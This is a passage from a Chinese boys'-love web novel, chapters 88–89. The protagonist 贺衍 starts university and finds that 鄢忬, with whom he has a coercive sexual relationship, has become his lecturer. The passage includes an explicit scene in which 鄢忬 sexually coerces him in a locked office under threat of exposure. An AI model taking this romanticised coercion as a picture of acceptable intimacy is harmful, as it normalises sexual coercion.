贺衍颤了一下,他猛地甩开鄢忬的手,皱着眉冷斥道:“别碰我。” 下一秒,贺衍摔门离开。 俞孟辉站在门外朝他冷冷地一瞥,随后礼貌性地点了点头。 贺衍扯了扯嘴角,他走得很快,像是要逃离什么,可胸腔里的窒息感却挥之不去。 俞孟辉目送贺衍的身影消失在门后,才移动了脚步。 鄢忬的亲生父亲鄢锡儒病危,撑不了几天了。他这次来得这么急,除了和鄢忬商量之后要如何应对之后的问题。更重要的是把鄢忬请回去,他在津兴已经待了太长时间了。 俞孟辉按下门铃。 鄢忬打开了门,他的眉梢低压,眸色幽深得让人心慌。 “先生,如果可以,咱们最好现在就出发去铜海。万一鄢锡儒临终前改了遗嘱——” “鄢锡儒没这个本事。”他声音平静,并没有刻意提高音量,却带着不容置疑的重量。 俞孟辉没把人从津兴带走,反而自己被请走了。 802,浴室。 鄢忬在睡前已经帮他清理过了,可贺衍还阴着一张脸,再次打开了花洒。 水从花洒喷涌而下。 贺衍仰头闭上了眼。 玻璃隔断上映出了一个模糊的身影,宽肩窄腰,肌肉线条流畅而充满力量感。 但上面却布满了各种暧昧的痕迹。 胸前泛着不正常的红,甚至有些肿,像是被反复吮咬过。 还有那些从颈侧一路蔓延的吻痕,凌乱地烙在冷白的皮肤上,像是野兽圈占地盘时留下的齿印,嚣张又放肆。 “操……” 贺衍烦躁地抹了把脸,他用力搓着皮肤。 水流路过锁骨上的那些深红的吻痕,在胸口留下湿漉漉的水痕,最后消失在腰窝处。那里还有几道泛红的痕迹,指痕深陷,是鄢忬留下的。 花洒被关掉了,浴室里瞬间安静下来,只有水滴砸在地砖上的声音。 镜面上的雾气散去,映出了他泛红的眼角和紧抿的唇瓣。 他扯过浴巾胡乱擦干身体,浴巾碰到后腰,触电般的酥麻感瞬间窜上脊背,贺衍不受控制地抖了一下,明明身体已经没有最初那么敏感了,但某些地方还是经不起碰。 他低头看了眼自己微微抬头的欲望,冷笑一声。 贺衍一阵烦躁,他忽然想起昨晚鄢忬贴在他耳边说的那句话,[阿衍,你这里,只有我能碰。] “真特么是个疯子。” 贺衍低声骂了几句,狠狠地摔上浴室门。 九月十号,周六,是铜海大学新生报到的第一天。 行李箱放在客厅的一角,沙发已经盖上了一层防尘罩。 贺衍拉着行李踏进电梯时,才发现鄢忬已经站在了电梯的最里侧。 他仿佛没看见一样,面无表情地转身。 贺衍按下关门键,电梯门缓缓合拢。 电梯内镜面的轿壁上映出了他们一前一后的身影,鄢忬比贺衍高出半头,目光落在了贺衍后颈的碎发上。 贺衍盯着楼层显示屏,数字从八开始往下跳动,显示屏上的光在他瞳孔里明明灭灭。 “伞带了吗?”鄢忬突然开口。 贺衍盯着显示屏上跳动的数字,五楼。 “天气预报说铜海下午会下大雨。”鄢忬继续说,仿佛没察觉他的沉默。 “我的车停在下面。” 贺衍喉结动了动,最终什么也没说。 一楼到了,伴随着电梯“叮”的一声,门缓缓打开。 贺衍拖着行李箱走了出来,鄢忬伸手要去接他的行李,贺衍却侧身避开了。 行李箱的轮子在地面上划出了刺耳的声响。 “不用了,我自己打车。” 贺衍没再看他,径直走向小区大门,网约车已经在那里等着了。 鄢忬跟在他身后几步远的位置,既不上前也不阻拦,只是沉默地看着他把行李塞进汽车的后备厢。 车门关上前,贺衍终于看了鄢忬一眼。 “阿衍,到学校了跟我说一声。”鄢忬看着他,墨绿色的眼眸中盛满温柔,“我大概会晚一点去学校,到时候我们会再见面的。你的身体——” 贺衍扯了扯嘴角,用力关上车门。 车门关闭的声音压住了鄢忬的声音。 贺衍眉梢挂着冷意,报上了自己的手机尾号。 “师傅,开车吧。” 后视镜里,鄢忬的身影越来越小,最终变成一个黑点消失在拐角。 司机随口一问:“刚才的是你男朋友啊,你们吵架啦?” 贺衍没说话,司机撇了撇嘴,也不再自讨没趣。 …… 前往大学报到的高铁停在了其中一个站点。 贺衍正盯着窗外发呆,九月的阳光透过高铁的玻璃落在了桌板上,照在了那本没翻开几页就又被合上的《铜海大学新生入学指南》上。 旁边空了很久的座位突然有人落座,是一个年轻的男生,头上还戴着白色的头戴式蓝牙耳机。 或许是因为高铁里有人在说话,男生调高了耳机音量,清晰的人声从他的耳机里传出来。 耳熟的语调,贺衍皱了下眉,垂眸看向了邻座的手机屏幕。 屏幕里是一部电影的直播发布会,卷发男人狭长的眸中带着笑意,说了句莫名的话:“找到我丢的东西了。” 果然是贺琚,贺衍无声地啧了声,烦躁地移开了视线。 屏幕里的卷发男人却突然直视镜头,黑沉沉的瞳孔像是要穿透屏幕。 镜头不经意间扫到了男人的手腕。 邻座的男生忽然嘶了一声:“卧槽,梵时阁的诗岸系列,这表好贵。” 他的余光瞥见贺衍的侧脸时,耳机差点滑落。他喉结动了动,操,旁边这人好帅,好想加他的微讯。 男生轻咳了一声,他局促地调低音量:“不好意思,刚才是不是吵到你了” 男生注意到他的目光落在自己的手机屏幕上,语气更加热络了。 他打开了微讯二维码。 “原来你也喜欢行水老师啊,他的电影过两周就要去铜海市路演了。我刚才瞥到了你的入学手册,既然你也在铜海上大学,那我们要不要加个微讯,到时候一起去——” 贺衍转过脸,透出股生人勿近的冷感,男生瞬间噤声。 妈呀,正脸更帅了。男生耳根发烫,讪讪地缩回手机:“抱、抱歉,我就是……” 高铁缓缓启动,窗外的景色开始后退。 贺衍靠在座椅上,忽然扯了扯嘴角。 他的指节骤然收紧,眼底晦暗。他倒要看看,贺琚会不会出现在他面前。 第88章 第 88 章 新来的代课老师 第88章 铜海大学的地理位置极好, 位于寸金寸土的铜海市中心。 从南门出去,跨过天桥,再走几步就是铜海市的大型商圈。天寰壹号公寓则在这所大学西门的附近。 贺衍出了铜海高铁站, 刚坐上车, 外面就开始下起了雨。 铜海大学距离高铁站有三十多公里,越是靠近市区, 雨下得越大。 贺衍看着外面的倾盆大雨,无声轻啧了一声。 居然真的下雨了。 他也真的没拿伞。 因为雨势太急,司机开车的速度也慢了下来,一个多小时后,司机开到了铜海大学的南门。 南门是铜海大学的正门。 铜海大学这四个大字在雨幕中巍峨矗立。 大门外, 是来来往往的新生和送行的家长, 还停靠各种各样价格不一的私家车, 全部挤作了一团。 出租车开到距离大门不远的地方,就因为拥挤的车流被迫停在了路边,不知道是因为什么原因, 汽车忽然熄火了,怎么也打不开。 司机臭骂了几句, 让贺衍下了车。 这里距离南门还有一百多米。 暴雨倾盆,雨点砸在地面上溅起了细密的水雾, 奔流的雨水在柏油路上汇成了小簇的急流。 贺衍拉着行李, 冒着雨沿着路边往学校大门走。雨水顺着他的发梢滑落, 白衬衫很快被浸透贴在身上。 贺衍吸了一口冷气, 他深吸一口气,拎着行李,正准备一口气冲到学校—— 忽然,头顶的雨声消失了, 一把黑伞无声地撑在他上方。 “没带伞吗?” 一缕银发从眼前掠过,贺衍转身,杭凌一举着伞站在他旁边,淡金色的眸子落在了贺衍脸上,忽然顿了顿。 “新生报到?”杭凌一开口,声音沉稳。 贺衍看他了一眼,点了点头,但并未多说什么。 铜海市中级法院距离铜海大学的南门只有不到两公里的距离。因为雨势太大,再加上路上的车流,杭凌一索性自己走过来拿案子的卷宗,没想到刚好在这里碰到了贺衍。 五月份因为贺衍的那通电话,他查到了郗景到底做了什么,但同样也是在那通电话之后,他和贺衍的联系就淡了很多,最近一个月他们更是一次都没有交流。 杭凌一眉头蹙了下,总感觉贺衍有什么地方不一样了。 他的眉眼依旧透着生人勿近的冷峻,可眼尾那处却泛着一丝若有若无的艳色,像是被什么滋润过,带着不自知的蛊惑。 杭凌一微微眯眼,但并没有想太深。 他没有在意贺衍明显冷淡的态度,而是把伞面又往贺衍那边倾斜了一点,自己的半边肩膀被雨水打湿了。 “我刚好来学校处理案子,顺路送你到宿舍吧。” 贺衍微微垂眸,睫毛上被浸湿,还挂着几滴雨水。发梢上的雨滴垂落,滑过脖颈,没入衣领之中。 “麻烦你了。” 杭凌一的目光在那处停留了一秒,从怀中拿出了手帕递给了他。 “没事,擦擦吧。” 在这种暴雨天气和特殊的新生开学的双重加持的情况下,步行显然比开车要快很多。 很快,两个人便走到了铜海大学南门。 贺衍的宿舍并不在南门,而是在西门附近的星河湾宿舍区,距离西门只有两百多米。 但因为铜海大学只在南门为新生开放了入学通道,因此两个人在雨里多走了将近两公里。 雨大风急。 即使打着伞,两个人的裤脚和肩膀也都被淋湿了。 杭凌一忽然出声道:“郗景疯了。” 贺衍的手指微微一动。 “他整天躲在房间里,自言自语,对着空气质问岑靳为什么不喜欢他。”杭凌一的语气不带情绪,只是在陈述事实,“姑姑已经不敢让他出门了。” 贺衍冷笑,他扯了扯嘴角:“关我什么事?” 杭凌一看着他,忽然话锋一转:“一个月前,岑靳来铜海上任。是郗景组局给他接风,但他们完全没有给我透露任何消息。如果不是因为郗景精神上出现了问题,我也不会知道这件事。” 雨声忽然变得遥远。 贺衍的瞳孔收缩,呼吸微滞:“岑靳现在在铜海?” 杭凌一眸中闪过些许惊讶:“我还以为你知道,他现在是姆扎州的检察官,在州检察院上班。” “不过你也不用担心,州检察院距离这里有十几公里。” 贺衍抿唇,眼底划过一丝暗芒,他拉着行李箱的手收紧了,手背上的突起了青筋。 杭凌一没再多说什么,他只是撑着伞,把贺衍送到了宿舍楼下。 “到了,我就不送你上去了。”杭凌一停下脚步。 贺衍对他道了声谢,拉着行李走进了楼内。 星河湾宿舍区是本科生公寓,贺衍住在星河湾一号楼的101宿舍。 他不是很喜欢这个宿舍号。 101宿舍在走廊的尽头,贺衍推开101宿舍门时,房间里一个人都没有。 宿舍是四人间,上床下桌,有独立卫浴。 贺衍的房间在1号,在宿舍进门的右手边。 直到快要六点,贺衍把床铺全部收拾好之后,101宿舍的大门才再次被推开。 进来的戴眼镜的褐发男生把湿漉漉的雨伞挂到了行李箱一侧,水滴顺着他走路的痕迹在地板上连成了一条弯曲的线。 他看到贺衍,眼睛睁大了一瞬,心里闪过的第一个念头就是:这哥们怎么这么帅,我和他一个宿舍,大学四年还能交到女朋友吗? 他笑着招了招手,自我介绍道:“你好,我叫黄弘资,来自略阿州。” 黄弘资说着把行李拉到了3号床,在贺衍的斜对面,靠近里面阳台的那个床铺上。 和自己来自一个地方啊。 “贺衍。”贺衍简单地打了个招呼。 黄弘资突然瞪大眼睛:“等等,你是贺衍?罗河县那个贺衍?” 黄弘资把行李扔到位置上,立刻冲到贺衍身边,本来还算标准的联邦通用语忽然变成了贺衍熟悉的方言。 黄弘资激动地伸出手,但是被贺衍避开了:“抱歉,我不习惯和别人肢体接触。” 黄弘资也没在意,反而开始滔滔不绝起来:“老乡啊,我是凌昌市的。你居然真的是那个传说中的贺衍啊,哥们,你不知道,高一和高二整整两年啊,我都活在你的阴影下……” 黄弘资把自己高中生活的辛酸苦辣大吐特吐,然后忽然说道:“对了,我堂哥也考到姆扎州了,他就在隔壁的铜海工业大学,到时候咱们仨个老乡一起出去玩。” 铜海工业大学,姓黄。 贺衍眨了眨眼,忽然出声问道:“你堂哥是不是叫黄星俊,专业是飞行器制造工程。” 黄弘资一下子睁大眼睛:“你怎么知道。” “他是我高中同桌。”贺衍脸上露出了今天第一个笑容,很浅。 但是黄弘资却被这笑容晃花眼了,不行,太令人嫉妒了,这哥们为什么学习成绩好还长得这么帅啊。人神共愤啊! 宿舍的门禁时间是晚上十一点,但直到门禁那个店,101宿舍的另外两个人也没来。 黄弘资伸了个懒腰:“估计这俩人应该是明天来报到。” 的确如他所说,第二天下午在雨停了之后,这两个人才来到了学校。 这两位室友都是铜海本地人,虽然有铺位,但是他们并不打算住宿。 宿舍实际上只有贺衍和黄弘资两个人住。 联邦的大学并没有华国大学的军训传统,因此开学的第一周就是正式上课的时间。 法学专业可以说是铜海大学最强势的学科,但是法学院的人数并不算多,相比于其他院动辄五六百人的状况,法学院只有一百个人左右,可以说是妥妥的小院。 因为大一主要都是通识教育课,虽然宿舍的四个人专业各不相同,但课表却有部分的重合。 第一周的生活很平常,和上辈子并没有太多不同。 直到周四。 下午只有一节体育课,第一周并没有细分课程,而是进行了体能测试。 测试的项目很简单,一千米,引体向上,立定跳远…… 在其他项目完成之后,开始了一千米测试。 贺衍在跑完第一圈的时候,就感觉身体有些不对劲了,他加快了速度,完成一千米后,就立刻冲进了厕所。 汗水顺着脊背滑进裤腰,那种熟悉的燥热感又卷土重来。 贺衍咬着牙用冷水拍打后颈,才勉强平复身体的燥意。 他阴着一张脸,唇瓣被他抿得发白,几乎失了血色,眼尾却泛着不自然的红。 额前的碎发被水微微打湿,凌乱地搭在眉骨上,衬得那双眼愈发冷冽。 路过的学生不自觉地绕开他走,但又下意识地偷偷看着他。 他的身体,又开始不对劲了。 贺衍避开了冲向餐厅的下课大军,拐进教学楼后的小道。他靠在墙上,深深吸了一口微凉的空气。 还好,现在这种情况,他还能压下去。 周六上午,黄星俊来找他们两个人出去玩。 贺衍之前已经逛过铜海了,他也没什么兴趣“故地”重游。但是黄星俊在听到他这个理由后,反而更加恳求他一起出去了,毕竟有导游跟没有导游玩起来差别可太大了。 九月的风不算太凉,但贺衍已经穿上了长袖卫衣。三个人在学校附近的景点玩了一圈,傍晚又回到了铜海大学对面的云华商圈。 云华街的历史可以追溯到几百年前,在联邦还是君主制的时候就存在了。最初这里只是一个小型的集市,随着时间的推移逐渐发展成了繁华的商业圈。 暮色渐沉,云华商圈华灯初上。 贺衍和另外两人穿过步行街,路过了一家奢侈品服装店。 黄弘资的脚步慢了一刻,他看了眼牌子,微微咂舌:“这里一堆奢侈品牌子,我就认识这一个,不过这里的一件上衣就够我爸一年工资了。” 门店的暖光里,杭凌一从店门里走了出来,手上还拿着一个墨绿的礼袋。 银色的长发被他随意绑在了身后,淡金色的眼眸向对面扫了过去。 恰好和贺衍四目相对。 “巧了。”杭凌一挑了下眉,打了声招呼,手里礼袋的丝带随风轻晃,“还没吃饭吗?” 这家伙一看就是那种不是普通有钱的有钱人,举手投足间都透着上位者气场。黄星俊和黄弘资对视了一眼,这人谁啊,他们认识吗? 就在这俩人呆滞的时候,贺衍平静地点了点头。 “要一起吃吗?”杭凌一自然地开口邀请道,完全忽视了站在贺衍旁边的另外两个褐发男生。 “不用了,我们就是路过这里,不在这里吃。” 贺衍对着杭凌一摆了摆手,他喊了下还在发呆的兄弟俩,抬脚继续往前走了。 “贺衍,你走那么急干什么。”杭凌一迈步走到了贺衍身旁:“前几天打电话和你说的那事,已经搞定了,如果你打算想来法院实习,随时都能来。” 贺衍的脚步放慢了,他偏过头,眉梢轻挑。 “随时?”他的嗓音带着点漫不经心的懒散,尾音却微微上扬。 杭凌一轻笑了一声,银发被风吹得微乱,还带着点不易察觉的纵容。 他稍稍侧身,不着痕迹地替贺衍挡开迎面走来的人群,声音低沉:“对,当然随时,就像我很早之前跟你说的那样,我……” 两人在后面瞪大眼睛,这俩人姿态熟稔得像是认识了很多年的朋友,但贺衍不是跟他们一样都是来自略阿州吗。 黄星俊没有黄弘资那么震惊,但却更加坚信了一点,短短一年,贺衍就能认识那么多一看都是大佬的人。 他暗暗握拳,他一定要跟贺衍好好做朋友。 第二周的周三早八,本该是学生最倦怠的时刻。 这一节是必修通识课,经济学原理,上课地点是一个能容纳三百多人的大型阶梯教室。 贺衍走进教室,眉头几不可察地皱了一下。明明和上周三是同一个时间段,但这次整个教室几乎坐满了人,甚至都坐在最前面。 他习惯性地朝最后一排的角落走去,黑色棒球帽压得很低,遮住了大半张脸,只露出了线条凌厉的下颌,还有那张微微抿紧的唇。 宽松的衣领不经意地摩擦后颈,带起了细微的战栗,他用力扯了扯衣服,喉结动了动。 贺衍不动声色地深吸一口气,眼底晦暗。 身体的不适感比前几天更明显了。 他坐下后,给黄弘资占了旁边的座位,然后低头翻开课本。已经暴起青筋的手用力握紧钢笔,在纸面上划出几道无意义的线条。 前排传来窃窃私语。 “这节课怎么这么多人,那个秃头大胖子不就是纯念PPT,莫非大家上了一周的早八都疯了。” “你不知道吗,经济学原理的老师换人了,我有高中同学也在这个学校。他这周一也上了经济学原理,老师换成了一个超级大帅哥。” “别说什么老师了,你看后面,是不是他?法学院那个……” “我靠,真人比论坛偷拍还绝。” 前排的人把手机的前置摄像头对准了后排那个角落,即使快门声被刻意调成静音,但还是贺衍还是察觉到了。 他抬起眼睛,瞳孔在帽檐的阴影下泛着冷光,偷拍的人手一抖,差点把手机摔了。 七点五十分,教室基本上全部坐满了。 为什么这节课这么多人,贺衍的指尖无意识地敲着桌面,眼皮忽然跳了一下。 在临近上课的前两分钟,黄弘资拿着刚买的热腾腾的饭终于冲到了教室,坐到了贺衍旁边。 “今天人可真多,感谢哥们占的位。”他发出了一声感叹,然后狼吞虎咽地把早餐塞到了嘴里。 八点整,教室前门被推开。 嘈杂声瞬间消失,如同被按下静音键了一样。 脚步声不紧不慢地踏上讲台,声音在安静的教室里格外清晰。剪裁精良的西装裤包裹着修长的腿,银灰色马甲束出了劲瘦的腰线。 钢笔尖忽然顿住了,墨水在课本上晕开了一小片阴影。 贺衍漫不经心地抬眸,视线上移,定格在那张脸上—— 他的呼吸一滞。 贺衍眉心拧了起来,他再次压低了帽檐。 他无声轻嗤了下,扯了扯嘴角,他早该想到的,那天鄢忬说得铜海大学见根本不是玩笑。 男人站在讲台中央,银灰色的衬衫扣到了最上面一颗。他的手指按在讲台边缘,骨节分明,腕间露出一截黑色表带,衬得那双手愈发修长有力。 “各位同学,早上好。”鄢忬开口,声音低沉,他的指节轻叩讲台,“我是这学期《经济学原理》的代课老师,后面的课都由我来给大家上。” 鄢忬的目光扫过整个教室,最后落在最后一排的角落。 贺衍握紧了钢笔,两人的视线在空中短暂相接。 他的眼神在贺衍身上停留了一秒,唇角几不可察地勾了勾,随后若无其事地移开。 “现在开始点名,被念到名字的同学请站起来答到。” 他的声音不疾不徐,修长的手指顺着名单下滑。教室里鸦雀无声,所有人都屏住呼吸,等待那个低沉磁性的嗓音念出自己的名字。 …… 贺衍的钢笔已经在纸上无意识地画出了一堆潦草得看不出模样的涂鸦。 讲台上,鄢忬的指尖在名单上轻轻一顿。 “贺衍。” 他念这个名字时,尾音微微下沉,在唇齿间多停留了半秒。 “到。” 整个教室的目光都转向最后一排。 贺衍站了起来,他说完后很快又坐了下去。 鄢忬却没有继续点名,墨绿色的眼睛看向了最后一排的角落:“贺衍同学,上课的时候戴帽子,这是对老师的不尊重。” 第89章 第 89 章 “我没开门” 第89章 话音刚落, 教室里响起此起彼伏的抽气声。 贺衍还没有动作,教室里其他戴帽子的学生已经纷纷摘下了头上戴的帽子,生怕一会儿点到自己名字的时候再被老师说上一通。 贺衍轻扯嘴角, 摘下了黑色棒球帽。 额前的碎发散落, 露出了他完整的脸。 晨光透过窗户洒在了他身上,但丝毫没有照亮那双眼睛, 黑色的瞳孔满是冷意,只是眼尾却微微泛红。 两人的视线在空中相撞。 鄢忬的喉结微不可察地滚动了一下。 坐在贺衍周围的那些还在嬉笑看戏的学生,忽然都呆愣了,嘴巴张大,一脸震惊。 班级忽然安静了一瞬, 紧接着又开始嘈杂起来。 “woc, 怪不得我刚才觉得耳熟, 他不就是法学院的院草。” “你没看昨天的投票,不是院草,现在是校草好不好。” “我现在正式宣布, 为了好好学习,以后这节的早八我一定不会缺席。” “你确定是为了学习——” “点名就到这里。”鄢忬的声音不轻不重, 却让整个教室瞬间安静,“下节课我会抽查。现在开始上课。” 他率先移开了视线, 转身在黑板上写下今天的课题。西装裤包裹着修长的腿, 每一步都迈得沉稳有力, 仿佛刚才那一刻的失态从未发生。 “今天我们讲市场失灵理论, 请翻到教材41页。” 教室里响起哗啦啦的翻书声。 鄢忬的声音不疾不徐,复杂的经济模型被他拆解成了简单易懂的话语,连一向不怎么听得进这种枯燥课程的黄弘资都听得津津有味。 贺衍却根本无法集中注意力,他握着笔尖的手抖动, 整个人都在轻颤着,后颈渗出细密的汗,衣物的摩擦几乎变成一种折磨。 “……所以,市场均衡的本质是博弈。”鄢忬的声音突然近在咫尺。 哥们,老师就站在你后面,你的课本现在上面一堆乱七八糟的涂鸦啊。黄弘资眼睛眨得都快抽筋了,但贺衍依旧什么都没有察觉。 黄弘资胆战心惊得咽了口唾沫,心脏都提到了嗓子眼。 但好在,一分钟后老师又从最后一排离开了。 黄弘资小声说道:“贺衍,你是不知道,刚才真是吓死人了。老师就站在你后面,我都害怕他忽然点你的名字。” 贺衍捏了捏眉心,轻啧了一声,偏偏睫毛不受控地轻颤。 此时距离下课还有三分钟,鄢忬合上了教案。 “作业我会发到课程群里。”他的目光再次落在贺衍身上,“另外,我需要一位课代表。” 教室里的好多学生瞬间挺直了背。 “贺衍同学。”鄢忬的声音不轻不重,却让整个教室安静下来,“我看过你的入学成绩,就由你来负责作业的收取。” 教室里瞬间炸开锅,整个教室的视线像聚光灯般打到了贺衍身上。 贺衍的瞳孔微微收缩,太阳穴突突直跳,他确信鄢忬是故意的。 贺衍撑着桌面站了起来:“我不想——” 铃声却在这时响起,声音瞬间嘈杂起来,这节课的学生正往外涌出,下节课的学生则奋力地挤进来试图占一个好位置。 贺衍的声音被淹没了。 但鄢忬的声音却穿透嘈杂的人群:“课代表现在跟我去办公室,我还有其他事情要吩咐。” 众目睽睽之下,鄢忬站在讲台上等着他,根本没给他拒绝的机会。 贺衍面无表情地提着书包,指尖微微发抖。 在别人的羡慕的眼神中,贺衍跟在鄢忬后面走进了电梯。 鄢忬的办公室在这栋楼的五层。 电梯里还有刚才上课的其他两个学生,正在跟鄢忬说话。 “老师,我们班里这么多人,一个课代表是不是不太够啊。我们也想当课代表,帮贺衍同学分担任务。” 贺衍站在电梯的一角,浑身上下散发着冷意:“我没意见。” “老师,您看贺衍同学他都同意了。” 鄢忬笑而不语,只是装作思考的模样。直到他看到贺衍走进了自己的办公室,才出声拒绝了两个人。 办公室的门在身后轻轻关上,落锁的声音像一记闷雷砸在了贺衍心上。 贺衍浑身汗毛竖起,他直直地看着站在门前的鄢忬,眼神警惕。 “阿衍,你的身体又开始不舒服了。” 这是一个肯定句。 贺衍的手指在身侧微微蜷缩,每一寸皮肤都在他的视线下微微发烫。 窗外的梧桐叶被风吹得沙沙作响,衬得室内更加寂静。 鄢忬向前迈了一步,低垂着眼睛温柔地看着他:“刚才在教室里,你就在发抖。” “滚。” 他不能被鄢忬碰到。 贺衍眯着眼睛,全身的肌肉紧绷,试图从鄢忬的身侧穿过去离开办公室。 但鄢忬又往前走了一步,贺衍被逼得后退,腰撞上了办公桌边缘。 疼痛让他稍微清醒了些,但下一秒鄢忬的手已经抚上他的后颈。 几乎是瞬间,他的膝盖就软了,鄢忬的手臂稳稳接住他下滑的身体。 “阿衍,乖一些,治疗还需要继续。” 鄢忬的声音贴着贺衍的耳廓滑入,温热的气息激起了一片细小的疙瘩。 “阿衍,下周的体育课,大一固定的课程都是篮球,你难道想在那种时候……” 贺衍眉梢蹙起,冷冷地看着鄢忬,里面满是厌恶:“跟你无关,滚开,趁我现在——” 阿衍有一双很好看的眼睛。 鄢忬忽然笑了,指腹在后颈缓慢地画着圈,抗议的话被突然加重的按压打断,贺衍的腰猛地弹起,又被人牢牢按回桌边。 “嘘,小声一点。”鄢忬的唇几乎贴上了贺衍的耳垂,“外面能听到。” 大学行政楼的办公室隔音并不好,外面时不时有教授和学生经过,说话的声音都清晰地传到了办公室内。 贺衍浑身僵硬,却又无法控制身体的颤意。 “阿衍,要乖一点,治疗既然开始了,就不要随意中途而废。”鄢忬的声音沉了下来,带着长辈式的责备。 他在某处轻轻刮了一下。 贺衍的呼吸立刻乱了,他死死抓住身后的桌沿,指节泛白。 他恨这种被轻易掌控的感觉,更恨自己身体诚实的反应。 贺衍羞耻地别过脸,却被鄢忬捏着下巴转回来。 “阿衍,我之前告诉过你,这种时候要看着我。” 贺衍的瞳孔骤然收缩。 “阿衍,放松。” 那感觉太过熟悉也太过霸道,像潮水一样瞬间淹没了他残存的理智。 就在这时,敲门声突兀地响起。 贺衍的身体猛地一颤,条件反射地绞紧。 鄢忬的呼吸明显粗重了一瞬,眼底闪过一丝暗芒。 “教授?您在办公室吗?”门外传来年轻学生的声音,“我是上周五那节课的课代表,来交作业。” 又一阵敲门声。 “奇怪,里面的灯明明亮着啊,应该有人才对。” 鄢忬的手指还泛着水光,他拿着纸巾慢条斯理地擦拭。 他忽然笑了下,那是一个很温柔的笑。 他指了指办公桌下方,口型无声地说道:“阿衍,躲起来。” 贺衍瞪大眼睛摇头,耳尖烧得通红,眼尾泛起凌厉的寒光,可偏偏睫毛不受控地轻颤,潋滟的眸色削弱了眼中的冷意,反而带着一丝难以启齿的羞耻。 但鄢忬却俯身在他耳边低语:“或者你想被看见这副样子?” 这句话比任何威胁都有效。 贺衍僵硬地滑到桌下。 门那处传来了声响,那个学生的声音不见了。 脚步声再次出现在房间内。 鄢忬又重新坐到了办公桌前,下方的空间再一次被压缩,狭窄的空间让他不得不跪坐在鄢忬的两腿之间。 鄢忬望着空无一人的空气,忽然勾了勾唇角,说道:“放桌面上吧。” 贺衍的心跳声在耳边震响,他似乎真的听到了纸张被到桌面上的摩擦声。 呼吸不受控制地急促起来,他狠狠咬住了鄢忬的腿,西裤布料在齿间摩擦,他发狠地加重力道。 可那只手不知何时又回到了他身上,指尖在的后颈摩挲打转,忽然用力按了一下。 贺衍浑身一颤,松口的瞬间被两根手指撬开牙关。 鄢忬微眯了下眼,墨绿色的眸中闪过几丝餍足,忽然轻笑出声:“阿衍,这么紧张吗?” 贺衍大脑空白一瞬,呼吸都停住了。鄢忬什么意思,他告诉那个学生—— “我没开门。” 贺衍眼神瞬间阴戾,他暴起揪住鄢忬的衣领,拳头狠狠砸向鄢忬的下颌,发出了“砰”的一声闷响。 贺衍不愿意再回忆那天的事情。 他的眸色晦暗,当初那瓶药他也带来了,但即使加再多的量,效果也微乎其微。 可他不想再进行那种治疗了。 周五,网上铺天盖地都是行水新电影的宣传。 贺衍坐在教室靠窗的最后一排,指尖不耐烦地敲击着桌面,眉宇之间满是阴郁。 教室里的议论声此起彼伏,像一群恼人的蜜蜂,嗡嗡地往他耳朵里钻—— “卧槽,我错过了什么,行水新电影路演就在今天啊!” “嘿嘿,我抢到票了,我下午就回去见他。” 贺衍的敲击频率越来越快,手机屏幕还亮着,各大社交平台首页全是那个卷发男人的电影海报。 太吵了。 贺衍下午没课,他去了法院。 目前只有在这里,贺衍才能感到些许的安心,让他暂时忘记其他不快。 贺衍正在翻看杭凌一给他的案件卷宗,铜海市区中心区域不大,但铜海辖区却很大。 姆扎州石油矿产资源丰富,各类相关的工厂的数量也很多。化工厂也不在少数,不过其中很多都属于郗氏化工集团。 贺衍翻到了其中一个案子,时间就在去年三月份,这是一家制造化肥原料的化工厂,主要生产硝酸铵。 硝酸铵是氨肥的主要原料,但同时也是工业炸药的主要原料。 但因为生产检验不合规后,这家工厂就被吊销了经营执照,工厂停工了很长时间,最后倒闭了。 后来化工厂的老板起诉市场监管局恶意滥用职权,证据确凿,依旧败诉。 但奇怪的并不是这一点。 贺衍走到杭凌一面前,敲了敲他的桌子。 “这家化工厂属于姆扎州的化工巨头郗氏集团,定然不会缺钱和权,可为什么会输掉官司,这不太符合一般认知。” 杭凌一解释道:“郗氏化工旗下的公司种类众多,一般市场监管局不会跟郗家过不去,除非——” 杭凌一还没说完,办公室的大门就被“砰”一下地撞开了。 门外站着的是一个面色惨白,眼下一片青黑的男人,棕发棕眼,脸上的肉都陷了下去,两眼无神。 贺衍一时没能认出他是谁。 郗景却瞬间就注意到了贺衍,他直接忘记了自己来这里的最初目的。 郗景面目狰狞地咒骂着,像一头发狂的野兽朝着贺衍扑了过去。 “我□□……” 话音未落。 “砰!” 郗景整个人被踹飞,右腿以某种诡异的角度重重地撞上了茶几。 郗景蜷缩在地上,双手死死抱住扭曲的小腿。他的脸涨成猪肝色,额头疼得青筋暴起,鼻涕混着眼泪糊了满脸。 被踹中的腹部痉挛着,让他连完整惨叫都做不到,只能发出痛苦的抽气声。 可他依旧死死地盯着贺衍。 但在场的另外两个人却没有再向他投去任何目光。 贺衍眉梢动都没动:“你怎么一点反应都没有?” “他来这里找我,除了求我带他去找岑靳之外,没有别的可能了。” “不过我和岑靳最近也没联系过。” 淡金色的眸忽地看向贺衍,语气淡淡却仿佛在陈述事实:“而且是我邀请你来这里实习,自然是站在你这边。” 贺衍眉梢轻挑,尾音拉长:“那我可真该感谢你。” 两人对视一眼,忽然都笑出声来。 杭凌一打了个电话,找法院的保安把郗景拖走了,并告诉他们以后如果再看到这个人一律不准再放进来。 等到保安把郗景拖出去,杭凌一钢笔轻敲桌面:“未来的贺大律师,回神了。” 两个人又就刚才的事讨论了起来。 贺衍眉峰蹙起:“你是说,因为郗家不打算保下这个化工厂。但原因是什么,我看这家工厂的利润很是可观,根据工厂老板的陈词,跟郗家也并没有任何矛盾。” 杭凌一眼眸闪烁:“你问到点上了,我也奇怪这一点。但目前并没有任何答案。” 贺衍走出法院大门时,天已经沉了下来,路灯次第亮起。 杭凌一顺路把贺衍送到了南门。 贺衍拐进了回宿舍的近道,一条穿过小树林的窄径,他这段时间从法院回来后经常走这条路。 这条小径也有路灯,但比起大路,还是要暗上一些,不过却为夜色平添了几分朦胧的美感。 初秋的晚风微亮,吹在人身上却恰到好处。 沿路上,他已经路过了数不清的散步的情侣。 五分钟后,贺衍走到了窄径的分岔口,只要顺着这个方向再走一百多米,就快到宿舍区了。 贺衍走了几十米,眼皮忽然跳了一下,这路上怎么没有别的人。 就在这时,低沉的嗓音在身后响起,带着不容忽视的压迫感。 “好久不见。” 贺衍猛地转身,对上了一双灰蓝色的眼睛,他的脊背瞬间绷紧,手指无意识地攥成拳。 岑靳站在阴影里,他穿着一身黑色的检察官制服,肩线凌厉,银灰色的领带被他一丝不苟地束在喉结下。 